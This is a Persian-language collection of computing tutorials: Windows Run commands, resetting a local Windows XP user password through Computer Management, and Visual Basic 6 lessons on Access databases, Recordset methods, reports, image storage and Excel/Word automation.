با تایپ این دستور محیط سیستم عامل داس روبروی شما ظاهر می شود و می توانید فرمان های خود را برای این سیستم عامل تایپ نمایید.

PERFMON
با تایپ این دستور برنامه سیستم مانیتور اجرا می شود و در آن جزییاتی در مورد فضای اشغال شده از رم و یا مقدار بازدهی سی پی یو و همچنین مقدار اطلاعات خواننده شده از هارد را برای شما به صورت نمودار بیان می نماید.

SYSEDIT
با تایپ این دستور ویرایشگر فایل های سیستمی اجرا می شود و می توانید آنها را ویرایش نمایید .متذکر میشویم در صورت تغییرات اشتباه ممکن است سیستم شما بالا نیاید .

FIREWALL
با تایپ این دستور می توانید دیواره آتش ویندوز خود را فعال ویا غیر فعال کنید . فعال بودن دیواره آتش برای امنیت در شبکه ونیز جلوگیری از ورود هکرها به سیتم شما بسیار موثر است.

Drwtsn32
با تایپ این دستور برنامه دکتر واتسون اجرا می شود این برنامه در گزارش و همچنین عیب یابی مشکلات نرم افزاری بسیار مفید می باشد .

NTBACKUP
با تایپ این دستور برنامه گرفتن نسخه پشتیبان بر روی سیستم شما اجرا شده و می توانید از سیستم خود نسخه پشتیبان تهیه نمایید .

DISKMGMT
با تایپ این دستور برنامه مدیریت دیسک شما اجرا شده و می توانید با استفاده از آن دیسک سخت خود را مدیریت نمایید ویا هر یک از پارتیشن ها را حذف نمایید .

DEVMGMT
با تایپ این دستور میتوانید سخت افزار های نصب شده بر روی سیستم خود را بازبینی نمایید و یا یک از آنها را حذف و یا نصب نمایید .

EDUCEDIT
با تایپ این دستور می توانید یک کاراکتر بسازید و یا یک کاراکتر را ویرایش نما یید.

ُServices
با تایپ این دستور می توانید یکی از سرویس های ویندوز را لغو نمایید یا یک سرویس جدید به آن اضافه نمایید .

MSCONFIG
با تایپ این دستور میتوانید نرم افزارهای را که در هنگام بالا آمدن سیستم بر روی قسمت سیستم ترایی ویندوز قرار می گیرند غیر فعال کنید .ضمنا اگر سیستم شما دیر Shut Down می شود به این قسمت سری بزنید

=------------------------------------

 

عوض کردن پسورد ویندوز

عوض کردن پسورد ویندوز ایکس پی بدون داشتن پسورد!!!
وقتی داخل محیط ویندوز هستید و میخواید پسورد هر یوزری رو عوض کنید باید به این روش عمل کنید :

1- روی my computer راست کلیک کنید .

     2- از بین گزینه ها manage رو انتخاب کنید .

     3- حالا در صفحه باز شده ، سمت چپ ، local user and groups رو انتخاب کنید و یه دوبل کلیک بزنید .

     4- از بین گزینهای پایینش users رو انتخاب کنید .

     5- در سمت راست هر یوزری رو که میخاید انتخاب کنید و روی اون یوزر راست کلیک کنید .

     6- set password  رو انتخاب کنید .

     7- در جواب سوالی که از شما میشه ، دکمه proceed رو بزنید .

     8- در کادر اول پسوردی مورد نظرتون رو تایپ کنید .

     9- در کادر دوم هم همون پسورد بالایی رو بزنید .

    10- در پایان هم ok رو بزنید .

آموزش پایگاهای داده ایی

http://mediavb.persiangig.com/Ansverd/Change%20Pass.zipآشنایی کلی با پایگاه داده


» از آنجا که پایگاه داده اصلی ترین مبحث ویژوال بیسیک است برای همین کار کردن با این بخش نسبت به مباحث دیگر دشوارتر و پیچیده تر بوده و تجربه و خلاقیت بالایی را باید برای کار کردن با این بخش داشته باشیم .


» پایگاه داده : پایگاه داده یا بانک اطلاعاتی محلی است برای نگهداری اطلاعات و داده های گوناگون به صورت یکپارچه ، منظم و مرتب که هر کدام از اطلاعات آن قابل دسترسی و پردازش می باشند .


» انواع برنامه هایی که توانایی ساخت فایلهای پایگاه داده را دارند و ویژوال بیسیک 6 قادر به ایجاد ارتباط با آنها می باشد عبارتند از : Access ، Foxpro ، dbase ، Paradox ، .... که مهمترین آنها برنامه Access از مجموعه برنامه های آفیس است . و کار با آن ساده تر و راحت تر از پایگاه داده های دیگر است . ما نیز از این پایگاه داده استفاده خواهیم کرد .


» برای اینکه ما بتوانیم به اطلاعات و داده های موجود در پایگاه داده توسط ویژوال بیسیک 6 دسترسی داشته باشیم به ابزار هایی برای برقراری ارتباط نیازمندیم . ولی قبل از آن باید با اجزای یک پایگاه داده ساده و نوع داده هایی که در این پایگاه داده تعیین شده اند و ما برای ذخیره کردن اطلاعاتمان باید از آنها استفاده کنیم آشنا شویم :


» اجزای یک پایگاه داده : فایل با پسوند *.mdb ----> جدول ها ----> فیلد ها ----> رکوردها


» جدول ها از مجموعه فیلدهایی با انواع زیر ساخته می شوند :

 

Text 
نوع متنی که طول ظرفیت آن 256 کاراکتر است

Memo 
نوع متنی که طول ظرفیت آن میتواند بیش از 256 کاراکتر باشد.( معمولا ذخیره کردن توضیحات )

Number 
نوع عددی که خود آن به انواع مختلف تقسیم میشود(Integer، LongInt و ...)

Date\Time 
نوعی برای نگهداری داده هایی با فرمت تاریخ و زمان

Currency 
برای نگهداری داده های مالی یا ارزی از این نوع استفاده می شود

Yes\No 
همانند نوع Boolean است که فقط مقدار -1 و 0 را می پذیرد

AutoNumber 
نوعی برای تولید اعداد خودکار و غیر تکراری ( معمولا برای ساخت فیلد کلید )

 

که رکوردها کوچکترین و اساسی ترین جزء مجموعه بانک اطلاعاتی هستند و داده ها را مستقیما درخود نگهداری می کنند .

» برای مثال جدولی برای نگهداری اطلاعات شخصی افراد که می تواند فیلدی برای نگهداری نام ، فیلد دیگری برای نگهداری نام خانوادگی و انواع فیلدهای دیگر برای ذخیره سازی اطلاعات دیگر داشته باشد که با توجه به نوع داده ای که باید در آن ذخیره شود نوع آن تعیین می گردد . مثلا چون نام افراد باید متنی باشد از نوع Text انتخاب خواهد شد .


» برای آشنایی بیشتر شما برنامه Access را باز کنید و پایگاه داده را با نام Test.mdb ذخیره کرده و جدولی با نام Simple بسازید و فیلد های آن را به صورت زیر تنظیم کنید تا با این مبحث و برنامه Access به طور مختصر آشنا شوید . همچنین از این پایگاه داده که می سازید در ادامه استفاده خواهیم کرد :

 

ID 
از نوعAutonumber برای نگهداری شماره مخصوص هر فرد به طور خودکار

Name 
از نوع Text برای نگهداری نام افراد

Family 
از نوع Text برای نگهداری نام خانوادگی

************************************

آشنایی با ابزار مخصوص برقراری ارتباط با پایگاه داده


» همانطور که در درس گذشته ( درس اول ) مشاهده نمودید ، یک آشنایی کلی با مفهوم پایگاه داده پیدا کردیم و با اجزا و انواع داده های موجود در یک پایگاه داده Access آشنا شدیم . حال در این درس می خواهیم با ابزارها و کنترلهایی که امکان ایجاد ارتباط ویژوال بیسیک با بانک اطلاعاتی را برای ما فراهم می کنند آشنا شویم .


» دو ابزار یا کنترلی که امکان ایجاد این ارتباط را به ما می دهند عبارتند از :


1- Data Control : این کنترل که به طور پیشفرض در جعبه ابزار یا Tool Box ویژوال بیسیک وجود دارد یکی از ابزارهای قدرتمند VB در زمینه کار با پایگاه داده است . در واقع این کنترل نماینده پایگاه داده در ویژوال بیسیک است و کارهایی از قبیل مدیریت جداول و اندیکس ها و همچنین ایجاد و حذف جدول و رکورد و جستجو و فیلتر سازی و غیره را به عهده دارد . کارایی این کنترل بسیار گسترده و وسیع است و می تواند بهترین انتخاب برای نوشتن برنامه هایی باشد که قرار است فقط روی یک کامپیوتر به طور مستقل اجرا گردند .

تصویر کنترل :

 

 

2- ADO Objects : این کنترل ابزار دیگری برای ایجاد ارتباط با پایگاه داده است و گستردگی کمتری نسبت به Data Control دارد . از این کنترل معمولا برای ایجاد ارتباط سریع و آسان با پایگاه داده استفاده می شود . همچنین این کنترل توانایی برقراری ارتباط با پایگاه داده واقع در مکانی دیگر با استفاده از سیستم شبکه ای را دارد . ولی این کنترل در جعبه ابزار وجود ندارد و باید به آن اضافه گردد که بعدا خود این کنترل به طور کامل توضیح داده خواهد شد .


تصویر کنترل :

 

 

» برای کار با پایگاه داده فقط ایجاد ارتباط با آن کافی نیست . بلکه ما نیاز داریم که اطلاعات درون جدول ها و رکوردها را مشاهده کنیم و بر روی آنها پردازش انجام دهیم که این کار مستلزم استفاده از ابزارها و کنترل های دیگر است . برای نمونه اگر ما بخواهیم اطلاعات درون یک رکورد که نام یک شخص در آن ذخیره شده است را ببینیم باید آن را توسط یک کنترل که با پیوندی به یکی از کنترل های ایجاد کننده ارتباط با پایگاه داده متصل است به نمایش در آوریم . برای مثال ازکنترل Label استفاده کنیم . حال اگر بخواهیم بر روی این مقدار پردازش هم انجام دهیم باید آن را توسط کنترل Text Box نمایش دهیم چون درون آن را می توانیم ویرایش کنیم.


» برای شروع ما با Data Control کار خواهیم کرد.خصوصیت های مهم شی ء Data Control :

 

Connect 
این خصوصیت مشخص کننده نوع پایگاه داده که قرار است ارتباط با آن برقرار گردد و به طور پیشفرض Access تعیین شده است.

DataBaseName 
این خصوصیت مهمترین خصوصیت کنترل Data به شمار می رود که مسیر و نام پایگاه داده را در خود جای می دهد .

ReadyOnly 
این خاصیت مشخص می کند که آیا پایگاه داده میتواند پردازش شود یا باید هیچ تغییری در آن ثبت نشود . که به طور پیشفرض False یعنی قابل پردازش میباشد .

RecordSetType 
نوع رکوردست کاری را مشخص می کند که در صورت لزوم توضیح داده خواهدشد .

DataSource 
این خصوصیت بعد از تکمیل خصوصیت DataBaseName قابل استفاده است و نام جدول ها و بازجست های ( Query ) موجود در پایگاه داده را به صورت لیست کشویی برای ما نمایش می دهد که ما می توانیم یکی از آنها را انتخاب کنیم .

 


» نکته اساسی : در واقع مهمترین مشکل ویژوال بیسیک 6 در کار با پایگاه داده Access این است که اگر شما از کنترل Data برای برقراری ارتباط استفاده کنید و فرمت پایگاه داده شما بالاتر از Access 97 باشد یعنی ( 2000 ، XP ، 2003 ) با خطایی مبنی بر عدم پشتیبانی یا شناسایی مواجه خواهید شد . یا به عبارتی شما در صورتی میتوانید از کنترل Data برای برقراری ارتباط با پایگاه داده Access استفاده نمایید که فرمت پایگاه داده شما Access 97 یا همان ( Office 97 ) باشد . برای حل این مشکل چند راه حل وجود دارد :


» راه حل 1 : از کنترل ADO یا Adodc به جای Data استفاده کنید که این کار در بیشتر مواقع نمی تواند به صرفه باشد .

» راه حل 2 : فرمت پایگاه داده شما Access 97 باشد یعنی باید از برنامه Access موجود در Office 97 استفاده کنید که در این صورت مجبور خواهید بود با ویندوز 98 کار کنید . چون XP قادر به پشتیبانیAccess 97 نخواهد بود .

» راه حل 3 : این راه حل بهترین راه حل است ، یعنی استفاده از تکه برنامه ای به نام Service Pack 6 که پس از نصب ویژوال بیسیک6 بر روی کامپیوتر نصب میشود و مشکل را رفع می کند . یعنی شما میتوانید پس از نصب این تکه برنامه از هر کدام از فرمت های پایگاه داده Access در کنترل Data استفاده کنید . ظرفیت فشرده شده این برنامه حدود 26 مگابایت است که شما می توانید از سایت Microsoft دانلود کنید . البته با نرم افزار Download Accelerator Plus می توانید به صورت بخش به بخش این برنامه را دانلود نمایید که به نظر من بهترین روش است .


» پس از دانلود این برنامه برای نصب آن فایل Setupsp6.exe را اجرا نمایید.

» توجه داشته باشید که هنگام نصب این برنامه نباید ویژوال بیسیک شما در حالت اجرا باشد.


» انشا ء الله در درس بعدی کار خود را با یک مثال ساده دنبال خواهیم کرد .

********************************************

آشنایی با رکوردست و متدهای مهم آن

 

 

» همانطور که میدانید پردازش اطلاعات و داده ها در پایگاه داده عبارت است از ایجاد رکورد جدید برای ثبت اطلاعات جدید ، حذف رکورد اطلاعاتی ، ویرایش اطلاعات و داده ها و بسیاری کارهای دیگر . کنترل داده علاوه بر این که خصوصیتهایی برای ایجاد ارتباط با پایگاه داده دارد خاصیتی به نام RecordSet دارد که که بیشترین متدهای پردازش بر روی پایگاه داده را در خود جای داده است . با این خاصیت بیشتر آشنا می شویم :

 

RecordSet : یکی از مهمترین خواص کنترل داده است و به جدولی که ما از خاصیت RecordSource انتخاب می کنیم اشاره دارد . در واقع رکوردست همه کاره است . این خاصیت فقط در زمان اجرای برنامه فعال می شود و متدهای مربوط به پردازش بر روی داده ها را در خود جای داده است . که ما با مهمترین آنها که بیشترین کاربرد را دارند آشنا می شویم :

 

_ Move : با استفاده از این متد ما میتوانیم به رکورد مورد نظر حرکت کنیم . روش استفاده از این متد به صورت زیر است :

( شماره رکورد )  Data1.RecordSet.Move

در استفاده از این متد باید توجه داشته باشید که شماره رکورد باید از نوع صحیح بوده و حتما در جدول موجود باشد .

_ MoveFirst : با استفاده از این متد ما میتوانیم به اول لیست یا جدول تغییر مکان دهیم . روش استفاده از این متد :

Data1.RecordSet.MoveFirst

 

_ MoveLast : این متد هم رفتن ما را به آخرین رکورد جدول فراهم می کند و روش استفاده از آن به صورت زیر است :

Data1.RecordSet.MoveLast

 

_ MoveNext : از این متد برای رفتن به رکورد بعدی استفاده می شود . نکته ای که در مورد این متد وجود دارد این است که برای استفاده از این متد باید رکورد بعدی موجود باشد وگرنه پیغام خطا صادر خواهد شد. روش استفاده :

Data1.RecordSet.MoveNext

 

_ MovePreivous : این متد هم برای برگشت به رکورد قبلی استفاده می شود که در این مورد هم باید رکورد قبلی موجود باشد . روش استفاده :

Data1.RecordSet.MovePrevious

 

_ EOF : این متد مشخص میکند که آیا اشاره گر در رکورد آخر قرار دارد یا خیر که در صورت قرار داشتن در رکورد آخر مقدار True و در غیر این صورت مقدار False به خود خواهد گرفت :

A = Data1.RecordSet.Eof

 

که مقدار A با توجه به موقعیت اشاره گر یکی از دو مقدار True یا False خواهد شد .

_ BOF : این متد هم مانند متد قبلی عمل می کند ولی با این تفاوت که قرار داشتن اشاره گر در ابتدای لیست را مشخص می کند .

A = Data1.RecordSet.Bof

 

_ FindFirst : از این متد برای جستجوی اولین رکوردی که با ضابطه ما مطابقت دارد استفاده می شود . برای مثال اگر ما در لیست دنبال شخصی با اسم " Ali " باشیم برای جستجوی آن باید از کد زیر استفاده کنیم :

( " 'Data1.RecordSet.FindFirst ( "Name= 'Ali

از ' ' برای جستجو در فیلد رشته ای استفاده می کنیم ، یعنی برای جستجوی فیلدهای عددی نباید از این علامتها استفاده کنیم این جستجو می تواند ضابطه پیچیده تر داشته باشد مانند :

 

( " 'Data1.RecordSet.FindFirst ( "Name= 'Ali' AND Family= 'Media

در واقع این ضابطه به صورت کلی باید یک رشته باشد . از Or و And برای ایجاد ضابطه های طولانی تر و دقیقتر هم میتوانیم استفاده کنیم .

 

_ FindLast : این متد برای پیدا کردن آخرین رکورد موجود در لیست که با ضابطه و شرط ما همخوانی دارد استفاده می شود و طریقه استفاده از آن مانند متد FindFirst است :

 

( " 'Data1.RecordSet.FindFirst ( "Name= 'Ali' AND Family= 'Media

_ FindNext : این متد هم برای یافتن رکورد بعدی استفاده می شود . باید توجه داشت که برای استفاده از این متد حتما باید قبل از آن از متد FindFirst استفاده کرده باشید .

( " 'Data1.RecordSet.FindNext  ( "Name= 'Ali' AND Family= 'Media

_ FindPrevious : از این متد هم برای یافتن رکورد قبلی استفاده می شود .

( " 'Data1.RecordSet.FindPrevious  ( "Name= 'Ali' AND Family= 'Media

_ NoMatch : این متد مشخص می کند که جستجوی ما چه حاصلی در بر داشته است . اگر جستجوی ما به نتیجه نرسیده باشد مقدار آن True خواهد بود و در غیر این صورت False خواهد شد . برای مثال :

 

( " 'Data1.RecordSet.FindFirst ( "Name= 'Ali' AND Family= 'Media

If  Data1.RecordSet.NoMatch  Then

 "شخص مورد نظر شما در لیست یافت نشد"MsgBox  

Else

 " شخص مورد نظر شما در لیست موجود است"MsgBox  

End If

_ AddNew : از این متد برای ایجاد رکورد جدید در جدول استفاده می شود .

Data1.RecordSet.AddNew

_ Delete : از این متد هم برای حذف رکورد مورد نظر استفاده می شود .

Data1.RecordSet.Delete

_ Edit : این متد قابلیت ویرایش جدول را فعال می کند و ما میتوانیم محتویات رکوردها را تغییر دهیم :

 

Data1.RecordSet.Edit

_ Update : از این متد برای ذخیره کردن رکورد ایجاد شده و یا ویرایش شده استفاده می کنیم . البته قبل از این متد باید یکی از متدهای AddNew یا Edit اجرا شده باشد :

Data1.RecordSet.Update

_ RecordCount : این متد مشخص می کند که جدول ما دارای چند رکورد است و فقط قابل خواندن می باشد :

A = Data1.RecordSet.RecordCount

_Filter : از این متد برای نمایش دادن اطلاعات خاصی که ما برای آن ضابطه تعیین می کنیم استفاده می شود . البته تأثیر این متد در استفاده از کنترل جدول نمایانتر است :

 

"  'Data1.RecordSet.FindFirst "Name= 'Ali

در این مثال رکوردهایی نمایش داده خواهند شد که فیلد نام آنها برابر با 'Ali' باشد . در این متد هم می توانیم از OR و AND برای دقیقتر کردن ضابطه استفاده کنیم .

 

_ Sort : ما با این متد می توانیم اطلاعات و رکوردهای جدول خود را بر اساس یک فیلد مرتب سازی کنیم :

 

Data1.RecordSet.Sort

**********************************************گزارش گیری از پایگاه داده در ویژوال بیسیک


» همانطور که شما عزیزان می دانید گزارشگیری می تواند یکی از ویژگیهایی باشد که یک برنامه پایگاه داده را کاملتر و قابل استفاده تر می کند و کاربران به استفاده از این نوع برنامه ها رغبت بیشتری دارند . یعنی به طور کلی امکان گزارشگیری در یک برنامه از مهمترین ویژگیهای آن است . از گزارشگیری بیشتر در چاپ استفاده می شود و کاربر می تواند قبل از چاپ اطلاعاتی را مشاهده و ارزیابی کند . در این درس من روش ساخت گزارش معمولی با استفاده از امکانات آماده خود ویژوال بیسیک را توضیح خواهم داد ، ولی اکتیوایکس های پیشرفته تری مانند کریستال ریپورت ( Crystal Report ) که توانایی ساخت گزارشهای جالبتر و بهتری را دارند نیز وجود دارند که خود شما باید پیگیر آنها باشید .


» قبل از شروع ساخت گزارش شما باید چند نکته در این مورد یاد بگیرید . در ایجاد یک گزارش معمولی ویژوال بیسیک از از رابط OLE DB برای برقراری ارتباط با پایگاه داده مورد نظر استفاده می کند . برای شروع شما VB خود را باز کرده و یک پروژه استاندارد ایجاد کنید . سپس برای ایجاد رابط از منوی Project گزینه Add Data Environment را انتخاب کنید . با زدن این گزینه فرمی به صورت زیر ایجاد می شود :

 

 


» همانطور که در تصویر می بینید این فرم از یک لیست درختی تشکیل شده که سر شاخه آن همان نام رابط است . شاخه Connections لیست ارتباطها با پایگاه داده ها را مشخص می کند . مثال Connection1 با یک پایگاه داده مرتبط است و حال این که Connection بعدی که ایجاد میکنید می تواند با یک پایگاه داده دیگر ارتباط برقرار کند . شاخه Commands هم جدول یا جدول های انتخابی از هر پایگاه داده را مشخص میکند که بیشترین کاربرد را دارد . حال به توضیح هر یک از این دو شاخه می پردازیم :


شاخه Connections : همانطور که گفته شد این ابزار یا شی ء پایگاه داده ای را که قرار است از آن گزارش تهیه شود مشخص می کند . برای مثال ما مراحل انتخاب یک پایگاه داده مراحل زیر را دنبال می کنیم :


1 ) روی Connection1 راست کلیک کنید تا منویی باز شود . از این منو گزینه Properties را انتخاب کنید تا دیالوگ Data Link Properties نمایش داده شود . برگه اول این دیالوگ دارای یک لیست است.


2 ) شما از این لیست گزینه Microsoft Jet 4.0 OLE DB Provider را انتخاب کرده و گزینه Next را بزنید تا برگه دوم این دیالوگ نمایش داده شود .


3 ) در این مرحله پایگاه داده مورد نظر خود را انتخاب کنید . برای آگاهی از این که آیا اتصال به درستی انجام گرفته می توانید از دکمه Test Connection استفاده کنید . سپس دکمه OK را برای پایان این مرحله انجام دهید .


با انجام این مراحل ما توسط Connection1 به پایگاه داده مورد نظر خود متصل شدیم . حال زمان استفاده از شی ء Command است . برای ایجاد یک Command برای Connection1 روی Connection1 کلیک راست کرده و گزینه Add Command را بزنید . با این کار Command1 به لیست Command ها اضافه خواهد شد .


شاخه Commands : همانطور که گفته شد شی Command برای مدیریت جدول یا فیلد ها استفاده می شود . برای تنظیم این شی ء مراحل زیر را دنبال می کنیم :


1 ) روی Command1 کلیک راست کرده و گزینه Properties را انتخاب کنید تا دیالوگ زیر نمایش داده شود :

 

 


در این دیالوگ اصلی ترین قسمت برگه General است که ما باید آن را تکمیل کنیم .


2 ) در برگه General از کشوی DataBase Objects گزینه Table را انتخاب کنید تا در کشوی Object Name نام جدول های موجود در پایگاه داده قرار گیرد و شما جدول مورد نظر خود را انتخاب کنید . حتی شما می توانید با استفاده از دستورات SQL که در قسمت SQL Statement می نویسید جدول مورد نظر خود را انتخاب نمایید .


3 ) سپس دکمه Apply و دکمه Ok را برای تکمیل این قسمت فشار دهید . برگه های دیگر این دیالوگ برای ساخت گزارشهای پیشرفته تر کاربرد دارند که ما از تکمیل این قسمت ها را به خود شما عزیزان واگزار می کنم .


» در این قسمت تنظیمات مربوط به رابط پایگاه داده به پایان رسید . حال برای ایجاد صفحه طراحی گزارش از منوی Project گزینه Add Data Report را انتخاب کنید . یک صفحه طراحی گزارش با جعبه ابزار مخصوص با نام Data Reprot1 در اختیار شما قرار داده می شود . در این قسمت دو روش برای طراحی گزارش وجود دارد :


روش اول این است که خود شما برای هر کدام از فیلدهایی که می خواهید در گزارش قید شوند یک Rpt Text Box و Rpt Lable قرار دهید و خواص هر کدام از آنها را به طور جداگانه تنظیم کنید .


روش دوم این است که فرم رابط یا Data Environment و DataReport1 را به صورت زیر قرار داده و با کشیدن و انداخت هر کدام از فیلد ها و یا کل جدول از فرم رابط بر روی فرم گزارش ، گزارش خود را تنظیم کنید .

 

 


مهم ترین قسمت : مهمترین قسمت این بخش مرتبط کردن فرم گزارش با فرم رابط است . برای این کار شما باید خواص DataReport1 یا همان فرم گزارش خود را به صورت زیر تنظیم کنید :


1 ) خاصیت DataSource را برابر با DataEnvironment1 قرار دهید .

2 ) خاصیت DataMember را برابر با Command1 قرار دهید .


حال گزارش شما برای نمایش آماده است . برای این کار شما باید در Form1 خود یک CommandButton قرار داده و کد زیر را در آن بنویسید :


()Private Sub Command1_Click

DataReport1.Show

End Sub

همچنین شما می توانید برای فرم گزارش خود سر برگ یا شماره صفحه و چیز های دیگر قرار دهید . همچنین می توانید برای آن منو طراحی کنید . علت این که من این چنین خلاصه این بخش را آموزش دادم طولانی بودن این بخش و کم بودن وقت بود . شما خودتان می توانید با دقت و تمرین این بخش را به طور کاملتر یاد بگیرید

******************************************

ذخیره کردن تصویر در پایگاه داده


» قطعاً همه برنامه نویسان مایلند که در برنامه های مربوط به پایگاه داده خود بتوانند تصویر را نیز ذخیره کنند چون این امر یکی از ویژگیهای خوب و کارآمد برنامه خواهد بود . برای همین من این بار می خواهم روش ذخیره کردن تصویر را در پایگاه داده به شما عزیزان آموزش دهم .


» همینطور که شما عزیزان برنامه نویس می دانید در پایگاه داده اکسس نوع مشخصی برای ذخیره کردن تصویر وجود ندارد که ما به طور اختصاصی از آنها استفاده کنیم ولی یک نوع داده به نام OLE Object وجود دارد که می تواند هر گونه داده ای مانند صدا و تصویر را پشتیبانی کند . برای شروع شما برنامه Access را باز کرده و این فیلد ها را در آن ایجاد نمایید :

ID => AutoNumber

Picture => OLE Object

حال این جدول را با نام Sample ذخیره کنید و پایگاه داده را با نام db.mdb ذخیره نمایید . حال بدون این که داده ای در در این جدول وارد کنید از Access خارج شده و ویژوال بیسیک عزیز خودمان را باز کنید .


» مواد لازم: ابزارهای مورد نیاز برای کار را به صورت جدول زیر بر روی فرم خود قرار داده و خاصیت های آنها را تنظیم کنید :

 

نام کنترل 
خاصیت DataSource 
خاصیت DataField

Data1 
------------- 
------------

Text1 
Data1 
ID

Image1 
Data1 
Picture

 

 

نام کنترل 
خاصیت Name 
خاصیت Caption

Command1 
CmdNew 
New

Command2 
CmdSave 
Save

Command3 
CmdCancel 
Cancel

CommonDialog1 
CmDialog 
-------

 

کدهای زیر را برای ایجاد ارتباط با پایگاه داده در Form_Load بنویسید :


()Private Sub Form_Load

       "Data1.DatabaseName = App.Path & "\db.mdb

"Data1.RecordSource = "SELECT * FROM Sample

Data1.Refresh

End Sub

» کد باز کردن کادر محاوره ای برای انتخاب عکس با دابل کلیک کردن بر روی ImageBox :


()Private Sub Image1_DblClick

"CmDialog1.Filter = "(*.jpg)|*.jpg

CmDialog.ShowOpen

If CmDialog.FileName <> "" Then

(Image1.Picture = LoadPicture(CmDialog.FileName

End If

End Sub

» کد برای ایجاد رکورد جدید :

()Private Sub CmdNew_Click

Data1.Recordset.AddNew

CmdNew.Enabled = False

CmdSave.Enabled = True

CmdCancel.Enabled = True

Call Image1_DblClick

End Sub

» کد برای ذخیره کردن رکورد ایجاد شده :

()Private Sub CmdSave_Click

Data1.Recordset.Update

CmdNew.Enabled = True

CmdSave.Enabled = False

CmdCancel.Enabled = False

Data1.Recordset.MoveLast

End Sub

» کد برای صرف نظر کردن از رکورد ایجاد شده :

()Private Sub CmdCancel_Click

Data1.Recordset.CancelUpdate

CmdNew.Enabled = True

CmdSave.Enabled = False

CmdCancel.Enabled = False

End Sub


نکته : باید توجه داشته باشید که ذخیره کردن تصویر در پایگاه داده ظرفیت آن را به اندازه زیادی افزایش خواهد داد .

***********************************

انتقال اطلاعات از یک پایگاه به پایگاه داده دیگر


» شاید یکی دیگر از جنبه های برنامه نویسی پایگاه داده توانایی کپی کردن اطلاعات از پایگاه داده ای به پایگاه داده دیگر است که بیشترین کاربرد این عمل در پشتیبان گیری یا انتقال اطلاعات از جدول فرعی به جدول اصلی ( مادر ) مشخص می شود .


» برای انجام این انتقال دو نوع روش وجود دارد. روش اول این است که ما اطلاعات را به صورت رکورد به رکورد از جدول فرعی خوانده و به صورت رکورد به رکورد در جدول اصلی قرار دهیم و مراقب باشیم که اطلاعات تکراری در این عملیات کپی نگردند ، که انجام کد نویسی برای این روش به نظر من کاری مشکل و دشوار است . روش دوم استفاده از دستورات SQL است که برای انجام چنین عملیاتی ایجاد شده اند و امکان انجام همه این کارها را در یک خط کد نویسی فراهم می نمایند . در این درس من می خواهم روش دوم را به شما عزیزان آموزش دهم .


» برای مثال شما دو پایگاه داده با نام های mdb1 ( پایگاه داده مادر ) و mdb2 ( پایگاه داده فرعی ) که دارای ساختار یکسانی هستند را در نظر بگیرید . ما قصد داریم اطلاعات موجود در پایگاه داده فرعی را بر روی اطلاعات موجود در پایگاه داده مادر بیفزاییم . پس در این حالت اطلاعاتی باید از پایگاه داده فرعی یا رابط به پایگاه داده مادر کپی گردند که نظیری در پایگاه داده مادر ندارند تا به این صورت از ذخیره سازی داده های تکراری در پایگاه داده مادر جلوگیری شود .


_ به دلیل این که انجام این کار در یک خط کد نویسی صورت می گیرد ما دیگر توانایی مراقبت از ورود داده های تکراری را نداریم . پس بهتر است که انجام این کار را هم بر عهده خود دستور قرار دهیم . به این صورت که اگر ما در پایگاه داده مادر فیلدی را به عنوان کلید قرار دهیم در هنگام انتقال داده ها این کلید به طور خودکار اجازه ورود داده های تکراری را نخواهد داد و فقط داده های کپی خواهند شد که در فیلد کلید نظیری ندارند . برای مثال شما دو پایگاه داده را به صورت زیر تنظیم نمایید :


» پایگاه داده مادر ( mdb1 ) :


--> یک جدول با نام Table1 دارای فیلد های زیر :


> ID : از نوع عددی به عنوان کلید

> Name : از نوع متن

> Family : از نوع متن


» پایگاه داده فرعی ( mdb2 ) :


--> یک جدول با نام Table2 دارای فیلد های زیر :


> ID : از نوع عدد

> Name : از نوع متن

> Family : از نوع متن


» دستور :


جدول فرعی  SELECT _ FROM '  مسیر و نام جدول اصلی ' IN  جدول اصلی INSERT INTO

_ در این دستور فقط مسیر و نام پایگاه داده مقصد ذکر می شود و پایگاه داده مبدا باید در اجرای برنامه گشوده شود . حال مثال را کامل می کنیم . ابتدا شما باید از دیالوگ References گزینه Microsoft DAO 3.51 Object Library را تیک بزنید و کد زیر را در دکمه ای قرار دهید :


()Private Sub CmdCopy_Click

Dim DBase As Database

Dim SQL As String

(Set DBase = OpenDatabase(App.Path & "\mdb2.mdb", True, False


" SQL = " INSERT INTO Table1 IN '" & App.Path & "\mdb1.mdb' SELECT * FROM Table2


DBase.Execute SQL


  " vbInformation , " Copy Completed  , " عمل انتقال اطلاعات با موفقیت به پایان رسید" Msgbox

End Sub

_ در این مثال اطلاعات موجود در جدول پایگاه داده فرعی ( Table2 ) به جدول موجود در پایگاه داده مادر ( Table1 )بدون تکرار در فیلد ID کپی می شوند . با استفاده از این دستور حتی می توان اطلاعات موجود در یک پایگاه داده نوع دیگر مانند Excel را به پایگاه داده Access کپی کرد که انشا الله در قسمت کار با پایگاه داده Excel توضیح خواهم داد .

****************************************

کار با فایل هایی از نوع Excel و Word


» به دلیل این که برنامه Excel و Word یکی از ساده ترین و پرکاربردترین برنامه های مورد استفاده بوده و ساخت شرکت مایکروسافت است و ویژوال بیسیک به راحتی قادر به برقراری ارتباط با آن است ، امروز می خواهم به صورت خلاصه روش ایجاد یک فایل از نوع Excel و Word و برقراری ارتباط با آنها را به شما عزیزان توضیح دهم .


» برای این که شما از امکانات کار با Excel و Word در ویژوال بیسیک 6 برخوردار باشید باید از رابطی که مخصوص خود Excel و Word است استفاده نمایید . برای این کار شما باید از دیالوگ References گزینه های زیر را تیک بزنید :


Microsoft Excel 9.0 Object Library

Microsoft Word 9.0 Object Library


البته بسته به نسخه آفیسی که شما بر روی سیستم خود نصب می کنید شماره یا ورژن این گزینه ها تغییر خواهد کرد .


@ کار با Excel : در ابتدا شما باید تعریفات زیر را در قسمت General برنامه خود انجام دهید :


Dim X_Excel As Excel.Application

Dim X_WorkBook As Excel.Workbook

Dim X_WorkSheet As Excel.Worksheet

_ حال برای ایجاد یک فایل از نوع Excel از دستور زیر باید استفاده کنید :


Set X_Excel = New Excel.Application

_ سپس یک صفحه کاری ایجاد می کنیم که باید از دستور زیر استفاده کنیم :


Set X_WorkBook = X_Excel.Workbooks.Add

_ پس از این کار شیت ( Sheet ) مورد نظر را باید انتخاب کنیم :

(Set X_WorkSheet = X_WorkBook.Worksheets(1

_ که در این مثال Sheet1 را انتخاب کردیم .


» همانطور که می دانید صفحه Excel به صورت گسترده بوده و کار با آن بر اساس خانه های موجود در آن است که هر کدام آدرس مخصوصی دارد . برای مثال خانه شماره یک دارای آدرس ( 1 , 1 ) می باشد . ما هم از این آدرسها برای دسترسی به این خانه ها استفاده می کنیم :


